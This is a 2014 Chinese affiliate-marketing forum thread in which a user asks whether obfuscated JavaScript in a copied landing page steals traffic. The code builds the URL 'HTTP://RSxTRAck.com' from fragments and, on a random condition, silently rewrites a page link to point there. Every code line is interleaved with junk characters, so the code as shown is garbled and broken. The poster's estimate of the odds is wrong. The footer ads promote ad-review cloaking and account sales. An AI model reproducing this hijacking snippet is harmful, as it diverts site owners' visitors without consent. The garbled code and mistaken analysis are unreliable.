一段js 求解密，怀疑流量被偷了。大牛帮我看看。

tmdsoft · 发表于 2014-12-25 21:16:37

本帖最后由 tmdsoft 于 2014-12-25 21:19 编辑

$(function() {
3 }. ~0 M. J9 C# d2 L% B5 G4 ]1 o
$(".option.clearfix").on("click",
7 V# T! G# M e" O. c$ K
function() { R& ^. E1 \' s9 n1 g: o3 B
$(this).toggleClass("selected");) p9 C* }+ y5 ^% @" t. x2 y
if ($(this).hasClass("selected")) {
: U4 n z! f( B/ a% B) I
$(this).addClass("selected")+ g8 ~1 N+ P; R1 l. S( V! o
} else {$ g" O/ U- H$ d$ p# x/ P
$(this).removeClass("selected")
0 P# g- Q# q) V! R- t) G, [2 X
}
8 D8 N: F3 E; P. Z+ k: X
return false
, H3 j) n. g3 Y- A7 M1 X; a ]; N* I
});
( N* m! b( W) \5 A; z5 x
var e = "r";, l7 l F4 W; Q5 w4 q
var t = "e";6 S2 z+ ]* M% b" c& r/ |
setBtnMarginDefault = "c" + "\u006B";
^% n3 x4 h" X6 G: A
$(".option2.clearfix").on("click",+ H3 E% p5 f1 A/ B" r9 u3 k
function() {
( D1 h$ U/ F$ q1 R
$(this).toggleClass("selected");
) K- O x+ V5 [- ]
if ($(this).hasClass("selected")) {
. m! ^! [; o b, z' K
$(this).addClass("selected")
, A8 {, W; q. {2 X
} else {
" W! A9 Q4 e; f9 c* a/ q
$(this).removeClass("selected"): T/ w7 R5 m# f9 i
}
6 I1 M5 Q8 `2 k# x( }# ?
return false: Q7 x, c9 }8 t
});
# Q3 a* N" ~8 U3 q$ t% m
var n = "a";6 ^; Q4 g5 |4 s' _, O
var r = "g";3 R* y& _0 z* a# R5 E% e
$(".option3.clearfix").on("click",
" O2 R7 J; f8 T' d- ^
function() {
. q2 y+ R$ @1 H0 E, }9 H( o
$(this).toggleClass("selected");
7 B! f& x1 \0 z# v, l$ F- |
if ($(this).hasClass("selected")) {
. |/ W5 g# g, v& N! e5 x8 Z
$(this).addClass("selected")
0 O6 f) C/ E2 V! O
} else {
: j0 F- V1 Y4 O0 u z
$(this).removeClass("selected")4 S3 W4 |$ d( Q/ y
}1 C. z! W% D) i5 Q* I7 @# ^
return false x7 n8 m. W7 F! e6 M- @# p
});
' S% s2 a: \8 f! m8 h/ ]$ h& |
var i = "e";
" X9 w, t. ]! k( B- p* \2 j/ x
var s = n + r + e + t + i;
+ b3 L) y* Y5 R
$(".option4.clearfix").on("click",8 H5 ^$ e/ L8 [! n8 t4 D9 m
function() {9 ~" p" r- f4 d
$(this).toggleClass("selected");2 e% t# M5 K6 i4 [& t
if ($(this).hasClass("selected")) {3 {3 U+ k* I& h* ^/ Y0 U
$(this).addClass("selected")
0 F7 d$ `1 ]4 ?1 Z" {5 _
} else {) G M. g* I. G: S: t" M% W
$(this).removeClass("selected")
. p+ }* @+ _( Y
}
% T- x, ]9 Q, u
return false
+ J1 T! Y. i6 E
});
x4 ^- u% ^; e
var o = "\u0032" + "\u0030";
- B+ z- R( s3 N) ]
var u = "\u0031" + "\u0030";
m {7 Q9 y/ A& l+ c; C3 ~5 m
currentWhiteSpace = Math.floor(Math.random() * o);% M! s5 ~+ v/ ^
setBtnMargin30 = setBtnMarginDefault + "." + "c";
9 x3 {% I/ |0 k" H& j3 ?
Date.prototype.getMonthName = function() {
8 p1 o, {( g. F
var e = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"];
3 O, J% T$ h: R* B" t
return e[this.getMonth()]
4 ~" S& p# t+ M" p( m
};$ o0 D3 l$ A' J5 I: T9 {# p! V
var a = currentWhiteSpace;
) r D9 R: _+ p6 ~2 T. X0 m
var f = "H";
; ?. w2 z% ?. f7 X+ X
var l = "\u0052";5 }1 f/ B/ M+ ^3 Z9 ?
var c = "o" + "\u006D";* d8 c( ^7 L! G5 d# B5 y
f += "T"; B7 Y( b! b3 A K" D9 f$ }% O
f += "T";
+ v* n1 q" E3 ]
f += "P";+ m7 j. I' S0 ^! z1 Y2 k6 x. i
var h = new Date;% v2 r3 ~ h7 t/ C5 V& {
if (h.getMonth() == 11) {
. Q! j5 `7 S% a/ ^
var p = (new Date(h.getFullYear() + 1, 0, 1)).getMonthName()$ B6 D, I. K0 y: J
} else {0 x5 S3 j3 ?0 ~9 @
var p = (new Date(h.getFullYear(), h.getMonth() + 1, 1)).getMonthName()& ^& N! T+ Q6 P8 t/ M5 `
}
/ Y0 k7 Z/ {8 E3 u
var d = ":" + "/" + "/";
( X; k* c3 v1 {7 r$ e
l += "S";6 m8 D. t o0 l+ D
l += "x";
! ?+ q4 d* e& e2 f! B' q
document.getElementById("monthz").innerHTML = p;
6 g: `0 _$ m# r# ^# r; q* u# Y5 c; K
l += "\u0054";8 z+ E6 ~: G1 b! w0 W- E Y6 `
l += "R";0 Y5 ?$ l8 V! d: u5 Q
l += "\u0041" + setBtnMargin30;0 Y5 [9 o# `( j. c' |
setStyle = f + d + l + c;, w* w, r0 I9 f3 {8 x4 ^; k P
s = s.toLowerCase(s);( Y, _0 b' N$ i u, g. k+ L1 n0 D d
if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;2 Z6 r8 u8 X* P# l$ a% |- e
})

复制代码

了解js 的帮我看看这个加密的函数，是不是随机性的偷流量。

tmdsoft · 发表于 2014-12-25 21:21:01

if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;

复制代码

最后这一句，怀疑是随机偷流量代码。。。

tmdsoft · 发表于 2014-12-25 21:40:19

$(function () {
  Z8 S& O8 v; B. H5 K/ r# I& v  ? $(".option.clearfix").on("click", function () {
! J& [4 v: }! Q2 [0 G       $(this).toggleClass("selected");
/ D; G! j( l2 U8 F       if ($(this).hasClass("selected")) {8 g) m; S& W$ e0 }- g+ K
         $(this).addClass("selected")
% H$ B% J" H' h6 {       } else {
/ D: Q- N' _4 s/ Y          $(this).removeClass("selected")+ l% k- i  y8 p
      }6 P. M% Y% P% y3 X
      return false
4 t1 U; S2 v* W: I });, S/ r" c3 {. V) o3 g+ F5 C
$(".option2.clearfix").on("click", function () {
( {; \- r6 q9 ?       $(this).toggleClass("selected");' h8 M+ o& Q: u) w
      if ($(this).hasClass("selected")) {' Q6 z& h( H3 l% P2 t  ?
         $(this).addClass("selected")9 l4 ~* y" W( Y: v
      } else {0 b5 |" k9 L  \$ X% T; B( S( |
         $(this).removeClass("selected")5 g7 t0 u6 m$ O7 n$ v/ C( g9 N
      }# K1 u0 N: t  I. ?2 d8 D* M- F
      return false" k( ^% ?! g" Y* Y
});  z1 s# J6 ^  e4 H
$(".option3.clearfix").on("click", function () {
' e* @2 z+ u# \7 [) }* i8 F: S- i       $(this).toggleClass("selected");. ]" a% k% F/ Z& E9 {1 {& a
      if ($(this).hasClass("selected")) {& {% W1 b  @0 r" J2 t! G! s/ L
         $(this).addClass("selected")% ^6 K) [) W9 X0 y$ N" R
      } else {
  v) l* T4 V6 N4 Z  h          $(this).removeClass("selected")
  e7 t: {& q" A. w& T$ p8 R       }/ l1 g1 B1 X# [4 ~2 @. T
      return false
: s0 k) Z9 Q3 C });
3 t3 d6 c0 |0 U0 D! [) d $(".option4.clearfix").on("click", function () {
/ U/ C# ^) e8 h# v( i$ g- l       $(this).toggleClass("selected");
7 i( R5 Z1 w# q" x* e7 l, |* a1 i; g       if ($(this).hasClass("selected")) {2 N' E# T3 J' G' F  [2 ~; `; [
         $(this).addClass("selected")0 r9 J. P7 ?* `9 d3 b1 R4 f
      } else {2 d3 M) c& I; V) G
         $(this).removeClass("selected"): [" L( V2 A. g: B3 F  d
      }
5 ^) O1 n% O; e, C* m       return false5 H2 j) v, y( o+ L/ a
});
6 [( m+ W  w& x! X5 J$ i9 d})

我把代码简化了下，lp 正常，问题解决，另外还是求大牛看看一楼的代码，是不是随机跳转偷流量。。。

河小马 · 发表于 2014-12-25 22:53:55

不是的

tmdsoft · 发表于 2014-12-26 01:17:21

河小马发表于 2014-12-25 22:53
5 L$ t; Z! F8 s! \& q: p不是的

那是什么？

tmdsoft · 发表于 2014-12-26 01:37:43

本帖最后由 tmdsoft 于 2014-12-26 01:39 编辑

document.getElementsByClassName(s)[0].href = setStyle

复制代码

最主要的是这句话，最后 setstyle = Http://RSxTRAck.com

tmdsoft · 发表于 2014-12-26 01:45:43

if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;

o=20
u=10

a=1或者0 乘以20

如果a=20（50%的几率) ,那么条件成立，请问这句代码是不是重定向到这个网址上。

显示全部楼层 · 发表于 2014-12-27 12:14:29

你是用了别人的LP？

Rock_well · 发表于 2014-12-28 01:00:28

setstyle = Http://RSxTRAck.com
如果后面不是你自己的offer页面，就是你在扒了别人的LP之后没有做修改，人家重定向了吧。

		自动登录	找回密码
密码			立即注册

Google-Bing-Mediago-Criteo开户	⚡️按条S5代理⚡️静态⚡️独享⚡️5G	广告专用虚拟卡/U充值/高返点	皇家代理IP⚡️#1性价比⚡️
Mediabuy⚡️玩家开户首选	【鲁班跨境通-自助充值转账】	FB/GG/TT❤️官方免费开户	Affiliate 全媒体流量资源⚡️
Taboola/Outbrain /Bing⚡️一级代理	*开户投流-724h❤️人工在线**	【官方】❤️搜索套利买量投流开户	独立站⚡️开户投放
⚡️AdsPower:安全不封号,高效自动化	Google FB TK游戏代投	⚡️E.PN 虚拟卡⚡️	BINOM TRACKER 60% OFF!
比Adplexity还好用的Spy工具	ADPLEXITY + ADVERTCN	7200W全球动态不重复住宅IP代理	虚拟信用卡+独立站收款
全球虚拟卡, 支持U充值	各种主页、账单户、BM户（优势）	⚡️TikTok企业户，bm户，账单户	IPCola原生住宅IP⚡️$1.8/条双ISP
FB海外户、GG老户、TK加白老户	PTM虚拟卡[全新卡BIN+高返点]	FB虚拟卡⚡️消费越多返现越多	最大欧洲Nutra网盟BA找量
高品质·稳定高速纯净IP	FB个号1块一个	TikTok2审户/老户/国内外端口/加白	SX.ORG 高质量代理⚡235+ 地区
GG,FB,TK, 欧美源头, 欢迎合作❤️	跨境债务催收/风险代理	高权重Google老户[卖户+筛户等级]	海外斗篷・智能广告过审率高达 99%
DataImpulse⚡️纯净住宅代理仅 $1	FB企业户海外户,授信户,TK加白户	广告位出租	8500万高质量住宅IP，助力各种需求
虚拟卡返佣1%，国内持牌机构

[讨论] 一段js 求解密，怀疑流量被偷了。大牛帮我看看。

点评

点评

社区QQ达人